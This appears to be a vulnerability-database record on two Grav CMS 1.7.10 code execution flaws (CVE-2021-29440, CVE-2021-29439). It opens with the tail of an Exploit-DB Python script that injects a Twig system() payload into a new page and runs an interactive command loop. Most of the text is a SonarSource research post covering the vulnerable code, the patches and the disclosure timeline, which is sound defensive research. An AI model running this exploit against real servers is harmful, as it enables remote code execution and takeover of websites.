f'task=save&data%5Bheader%5D%5Btitle%5D={project_name}&data%5Bcontent%5D=%7B%7B+system%28%27{cmd}%27%29+%7D%7D&data%5Bfolder%5D={project_name}&data%5Broute%5D=&data%5Bname%5D=default&data%5Bheader%5D%5Bbody_classes%5D=&data%5Bordering%5D=1&data%5Border%5D=&toggleable_data%5Bheader%5D%5Bprocess%5D=on&data%5Bheader%5D%5Bprocess%5D%5Btwig%5D=1&data%5Bheader%5D%5Border_by%5D=&data%5Bheader%5D%5Border_manual%5D=&data%5Bblueprint%5D=&data%5Blang%5D=&_post_entries_save=edit&__form-name__=flex-pages&__unique_form_id__={form_id}&form-nonce={nonce}&toggleable_data%5Bheader%5D%5Bpublished%5D=0&toggleable_data%5Bheader%5D%5Bdate%5D=0&toggleable_data%5Bheader%5D%5Bpublish_date%5D=0&toggleable_data%5Bheader%5D%5Bunpublish_date%5D=0&toggleable_data%5Bheader%5D%5Bmetadata%5D=0&toggleable_data%5Bheader%5D%5Bdateformat%5D=0&toggleable_data%5Bheader%5D%5Bmenu%5D=0&toggleable_data%5Bheader%5D%5Bslug%5D=0&toggleable_data%5Bheader%5D%5Bredirect%5D=0&data%5Bheader%5D%5Bprocess%5D%5Bmarkdown%5D=0&toggleable_data%5Bheader%5D%5Btwig_first%5D=0&toggleable_data%5Bheader%5D%5Bnever_cache_twig%5D=0&toggleable_data%5Bheader%5D%5Bchild_type%5D=0&toggleable_data%5Bheader%5D%5Broutable%5D=0&toggleable_data%5Bheader%5D%5Bcache_enable%5D=0&toggleable_data%5Bheader%5D%5Bvisible%5D=0&toggleable_data%5Bheader%5D%5Bdebugger%5D=0&toggleable_data%5Bheader%5D%5Btemplate%5D=0&toggleable_data%5Bheader%5D%5Bappend_url_extension%5D=0&toggleable_data%5Bheader%5D%5Broutes%5D%5Bdefault%5D=0&toggleable_data%5Bheader%5D%5Broutes%5D%5Bcanonical%5D=0&toggleable_data%5Bheader%5D%5Broutes%5D%5Baliases%5D=0&toggleable_data%5Bheader%5D%5Badmin%5D%5Bchildren_display_order%5D=0&toggleable_data%5Bheader%5D%5Blogin%5D%5Bvisibility_requires_access%5D=0'\r\n\tr = session.post(url+f\"/admin/pages/{project_name}/:add\",data=payload,headers=headers)\r\n\r\n\t## Getting command output\r\n\tr = session.get(url+f\"/{project_name.lower()}\")\r\n\tif 'SyntaxError' in r.text:\r\n\t\tprint(\"[-] Command error\")\r\n\telse:\r\n\t\ta = r.text.split('<section id=\"body-wrapper\" class=\"section\">')\r\n\t\tb = a[1].split('</section>')\r\n\t\tprint(b[0][58:])\r\n\r\n\r\n\t# Cleaning up\r\n\t## Getting admin-nonce\r\n\tr = session.get(url + \"/admin/pages\")\r\n\tsoup = BeautifulSoup(r.text, features=\"lxml\")\r\n\tnonce = str(soup.findAll('input')[32])\r\n\tnonce = nonce[47:79]\r\n\r\n\t## Deleting Page\r\n\tr = session.get(url+f\"/admin/pages/{project_name.lower()}/task:delete/admin-nonce:{nonce}\")\r\n\r\nlogin(url,username,password)\r\n\r\nwhile True:\r\n\tcmd = input(\"$ \")\r\n\trce(url,cmd)", "sourceHref": "https://www.exploit-db.com/download/49961", "cvss": {"score": 6.5, "vector": "AV:N/AC:L/Au:S/C:P/I:P/A:P"}}], "sonarsource": [{"lastseen": "2021-08-10T14:43:55", "description": "\n\nIn the lineage of most recent flat-file PHP CMS, Grav CMS is a modern web platform to build fast, safe and extensible websites. It uses a modern technology stack with Twig, Symfony and Doctrine, and offers an administration dashboard that allows managing the whole website (structure, pages, static resources, etc.). It was voted as \u201cBest Flat File CMS\u201d in 2017 and 2019 and is rapidly gaining traction with over 12k GitHub stars.\n\nAs simplicity and security are often key arguments when choosing a flat-file CMS, we recently pursued some security research on Grav CMS 1.7.10. As a result, we discovered two interesting vulnerabilities in the core and the dashboard (respectively CVE-2021-29440 and CVE-2021-29439). These issues can be exploited by authenticated attackers with low privileges, and allow them to compromise the website and its server. In this blog post, we will look at the technical details of these code vulnerabilities and how to patch them.\n\n## Impact\n\nThe vulnerabilities were confirmed on the last released version of Grav CMS (1.7.10) available at the time of our research and the associated _admin_ module (1.10.10), a module often deployed with Grav and offered as part of a bundle on the official website. The two years old Grav 1.2.0 was also confirmed to be vulnerable.\n\nRemote attackers can leverage the vulnerabilities in multiple attack scenarios:\n\n * Credentials stuffing, granting access on the administration interface even with low privileges;\n * Compromised or malicious content author;\n * Presence of a Cross-Site Scripting vulnerability on the same perimeter.\n\nThe Server-Side Template Injection and Code Execution vulnerability presented in this article are respectively** **CVE-2021-29440 (affecting the Grav core) and CVE-2021-29439 (affecting the Grav Admin plugin). Both allow to execute arbitrary PHP code and system commands on the underlying server. After our report, the maintainers promptly fixed both issues and released Grav CMS 1.7.11.\n\nHere is a short demonstration of our exploit for CVE-2021-29439:\n\n## Technical details\n\n### CVE-2021-29440: Unsafe Twig processing of static pages\n\nThe Grav administration dashboard allows super-users to create new user accounts, and to grant them privileges in a very granular fashion. Depending on the user\u2019s permissions, additional security mechanisms can be applied. A Cross-Site Scripting filter prevents non-super-users from pushing pages containing script tags or on* attributes. With this in mind, we thought it would be interesting to find a way to gain code execution from this level of privilege.\n\nAs for most flat-file content management systems focusing on Markdown, a header (usually named _Front Matter_) can add contextual information regarding this specific page. It is often used to organize pages in categories, publishing content at a given route, etc. \n\nAfter digging in Grav's code, we noticed that the front matter block supports a directive named process.twig, which will apply a Twig rendering pass on the content before serving the page. While this behavior is disabled by default, users with basic page creation privileges enable this feature in the front matter:\n \n \n title: foo\n process:\n \u00a0\u00a0\u00a0twig: true\n\nRecent Server-Side Template Injection research convinced us of one thing: code execution depends on the context but is never too far away!\n\nLooking through the code surrounding Twig, we quickly noticed that the rendering step is not sandboxed: in the Twig ecosystem, it means that any tag, filter, method and properties can be invoked. As mentioned in James Kettle\u2019s _[Server-Side Template Injection](<https://portswigger.net/research/server-side-template-injection>)_ article, PHP functions however are not mapped into Twig templates and must be explicitly declared. Grav worked around this limitation by registering a callback triggered on each unknown function call:\n\n**system/src/Grav/Common/Twig/Twig.php**\n \n \n if ($config->get('system.twig.undefined_functions')) {\n \u00a0\u00a0\u00a0\u00a0$this->twig->registerUndefinedFunctionCallback(function ($name) {\n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0if (function_exists($name)) {\n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0return new TwigFunction($name, $name);\n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0}\n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0return new TwigFunction($name, static function () {\n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0});\n \u00a0\u00a0\u00a0\u00a0});\n }\n\nFrom here, arbitrary code execution is basically obtained with the right _front matter _and a template like {{ system("id") }}: \n\n\n\n### CVE-2021-29439: Arbitrary module installation\n\nIn the case of the admin plugin, most task handlers are implemented in classes/plugin/AdminController.php. To dispatch the incoming request to the right one, a new hook is associated with the event onPagesInitialized (in admin/admin.php), and will ultimately call AdminBaseController::execute(), which will perform an anti-CSRF check ([1]) and call the requested task ([2]):\n\n**classes/plugin/AdminController.php**\n \n \n public function execute()\n {\n \u00a0\u00a0\u00a0 // [...]\n \u00a0\u00a0\u00a0 if (!$this->validateNonce()) { \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 // [1]\n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 return false;\n \u00a0\u00a0\u00a0 }\n \u00a0\u00a0\u00a0 $method = 'task' . ucfirst($this->task);\n \u00a0\u00a0\u00a0 if (method_exists($this, $method)) {\n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 try {\n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 $response = $this->{$method}();\u00a0 \u00a0 \u00a0 // [2]\n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 } catch (RequestException $e) {\n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0// [...]\n \u00a0\u00a0\u00a0 return $response;\n }\n\nAs we can see, no permission check is performed here, and it is not the role of the CSRF protection to do it.\n\nTherefore, the usual implementation of a handler consists of a permission check with AdminController::authorizeTask() ([1]) and then of the actual action, i.e. as seen in AdminController::taskGetUpdates() ([2]):\n\n**classes/plugin/AdminController.php**\n \n \n protected function taskGetUpdates()\n {\n \u00a0\u00a0\u00a0// [1], permission check\n \u00a0\u00a0\u00a0if (!$this->authorizeTask('dashboard', ['admin.login', 'admin.super'])) {\n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0return false;\n \u00a0\u00a0\u00a0}\n \u00a0\u00a0\u00a0// [...]\n \u00a0\u00a0\u00a0// [2], implementation\n \u00a0\u00a0\u00a0try {\n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0$gpm = new GravGPM($flush);\n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0$resources_updates = $gpm->getUpdatable();\n\nWe noticed that the permission check for AdminController::taskInstallPackage() is slightly different, in a way it intends to be generic by checking that the current user has either the permission admin.plugin or admin.theme. However, as $data['type'] is fully controlled by the user, thus having any admin.* permission (admin.posts, admin.login, etc.) is enough to pass the check and install an arbitrary package:\n\n**classes/plugin/AdminController.php**\n \n \n protected function taskInstallPackage($reinstall = false)\n {\n \u00a0\u00a0\u00a0$data\u00a0 \u00a0 = $this->post;\n \u00a0\u00a0\u00a0$package = $data['package'] ?? '';\n \u00a0\u00a0\u00a0$type\u00a0 \u00a0 = $data['type'] ?? '';\n \u00a0\u00a0\u00a0if (!$this->authorizeTask('install ' . $type, ['admin.' . $type, 'admin.super'])) {\n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0$this->admin->json_response = [\n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0'status'\u00a0 => 'error',\n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0'message' => $this->admin::translate('PLUGIN_ADMIN.INSUFFICIENT_PERMISSIONS_FOR_TASK')\n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0];\n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0return false;\n \u00a0\u00a0\u00a0}\n \n \u00a0\u00a0\u00a0try {\n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0$result = Gpm::install($package, ['theme' => $type === 'theme']);\n\nThis primitive only allows fetching [official plugins listed on the website](<https://getgrav.org/downloads/plugins>). While we do not plan to release the plugin\u2019s name and the associated exploitation code (exercise left to the reader!), we were able to find an official plugin that let us obtain arbitrary code execution without requiring more privileges (see the video in the introduction).\n\n## Patches\n\n### CVE-2021-29440\n\nThe Twig rendering vulnerability is not easy to address while maintaining full backward compatibility for existing websites. The maintainers decided to improve the undefined functions resolver to prevent \u201cunsafe\u201d ones to be called. The nature of PHP makes it very hard to establish such a list, so an additional filter had to be implemented to prevent the use of functions that could be used to obtain an unserialize() primitive with the phar scheme wrapper. While an allow list would have been ideal, the risk of breakage of existing instances was too important.\n\nThe maintainers are aware of the limitations of this solution and intend to fully address it in the next major release of Grav. You can find [the patch](<https://github.com/getgrav/grav/commit/3d102825673ac58fbeb57bdf778e43b08fb7354c>) and [the public advisory](<https://github.com/getgrav/grav/security/advisories/GHSA-g8r4-p96j-xfxc>) on GitHub. After the upgrade to 1.7.11, you should still take time to review the current accounts on your instance, remove the unused ones and assess the risk of credential stuffing.\n\n### CVE-2021-29439\n\nThis vulnerability was addressed by hardening the authorization checks before the dispatch to task handlers:\n\n**classes/plugin/AdminBaseController.php**\n \n \n public function execute()\n {\n \u00a0\u00a0\u00a0 // Ignore blacklisted views.\n \u00a0\u00a0\u00a0 if (in_array($this->view, $this->blacklist_views, true)) {\n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 \u00a0\u00a0\u00a0 return false;\n \u00a0\u00a0\u00a0 }\n \u00a0\u00a0\u00a0 // Make sure that user is logged into admin.\n \u00a0\u00a0\u00a0 if (!$this->admin->authorize()) {\n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 \u00a0\u00a0\u00a0 return false;\n \u00a0\u00a0\u00a0 }\n\nStricter checks were also added in the implementation of existing handlers:\n\n**classes/plugin/AdminController.php**\n \n \n protected function taskInstallDependenciesOfPackages()\n {\n \u00a0\u00a0\u00a0 $type = $this->view;\n \u00a0\u00a0\u00a0 if ($type !== 'plugins' && $type !== 'themes') {\n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 \u00a0\u00a0\u00a0 return false;\n \u00a0\u00a0\u00a0 }\n \n \u00a0\u00a0\u00a0 if (!$this->authorizeTask('install dependencies', ['admin.' . $type, 'admin.super'])) {\n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 \u00a0\u00a0\u00a0 $this->admin->json_response = [\n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 \u00a0\u00a0\u00a0 'status'\u00a0 => 'error',\n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 \u00a0\u00a0\u00a0 'message' => [...]\u00a0 \u00a0 \u00a0\u00a0\u00a0 \n \u00a0\u00a0\u00a0 \u00a0\u00a0\u00a0 ];\n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 \u00a0\u00a0\u00a0 return false;\n \u00a0\u00a0\u00a0 }\n\nYou can find [the patch](<https://github.com/getgrav/grav-plugin-admin/commit/a220359877fd1281f76ba732e5308e0e3002e4b1>) and [the public advisory](<https://github.com/getgrav/grav-plugin-admin/security/advisories/GHSA-wg37-cf5x-55hq>) on GitHub. Meanwhile, if you can\u2019t upgrade to the version that includes the aforementioned patches, you can still temporarily disable the plugin and perform manual edits of the content.\n\n## Timeline\n\n<table class="table table-striped"><thead><tr><th>Date</th><th>Action</th></tr></thead><tbody><tr><td>2021-04-09</td><td>We report all issues to the official email address</td></tr><tr><td>2021-04-09</td><td>The maintainers discuss and acknowledge our findings</td></tr><tr><td>2021-04-14</td><td>Grav 1.7.11 is released, fixing CVE-2021-29440</td></tr><tr><td>2021-04-14</td><td>Grav Admin 1.10.11 is released, fixing CVE-2021-29439</td></tr></tbody></table>\n\n## Summary\n\nWe were able to demonstrate the exploitation of two very distinct issues on the administration panel of Grav CMS 1.7.10, with only a reduced set of permissions. Both security issues can enable an attacker to execute arbitrary code on the targeted host server. Further, we analyzed how these severe vulnerabilities were patched.\n\nWe\u2019ll be happy to discuss these bugs [in our community forum thread.](<https://community.sonarsource.com/t/new-security-research-code-execution-vulnerabilities-in-grav-cms-nosql-injections-in-rocket-chat/44117>)\n\nIt is also interesting to note that another very cool unauthenticated code execution vulnerability [was discovered](<https://pentest.blog/unexpected-journey-7-gravcms-unauthenticated-arbitrary-yaml-write-update-leads-to-code-execution/>) by Mehmet Ince in the same code area just before we started our research.\n\nFinally, we would like to thank the maintainers of Grav for acknowledging our advisory and fixing these vulnerabilities super fast in only 5 days.", "cvss3": {"exploitabilityScore": 1.2, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 7.2, "privilegesRequired": "HIGH", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-06-01T00:00:00", "type": "sonarsource", "title": "Grav CMS 1.7.10 - Code Execution Vulnerabilities", "bulletinFamily": "blog", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.5, "vectorString": "AV:N/AC:L/Au:S/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-29439", "CVE-2021-29440"], "modified": "2021-06-01T00:00:00", "id": "SONARSOURCE:B31DFA0B2A690AD5622A8CB82F0A38C4", "href": "https://blog.sonarsource.com/grav-cms-code-execution-vulnerabilities", "cvss": {"score": 6.5, "vector": "AV:N/AC:L/Au:S/C:P/I:P/A:P"}}]}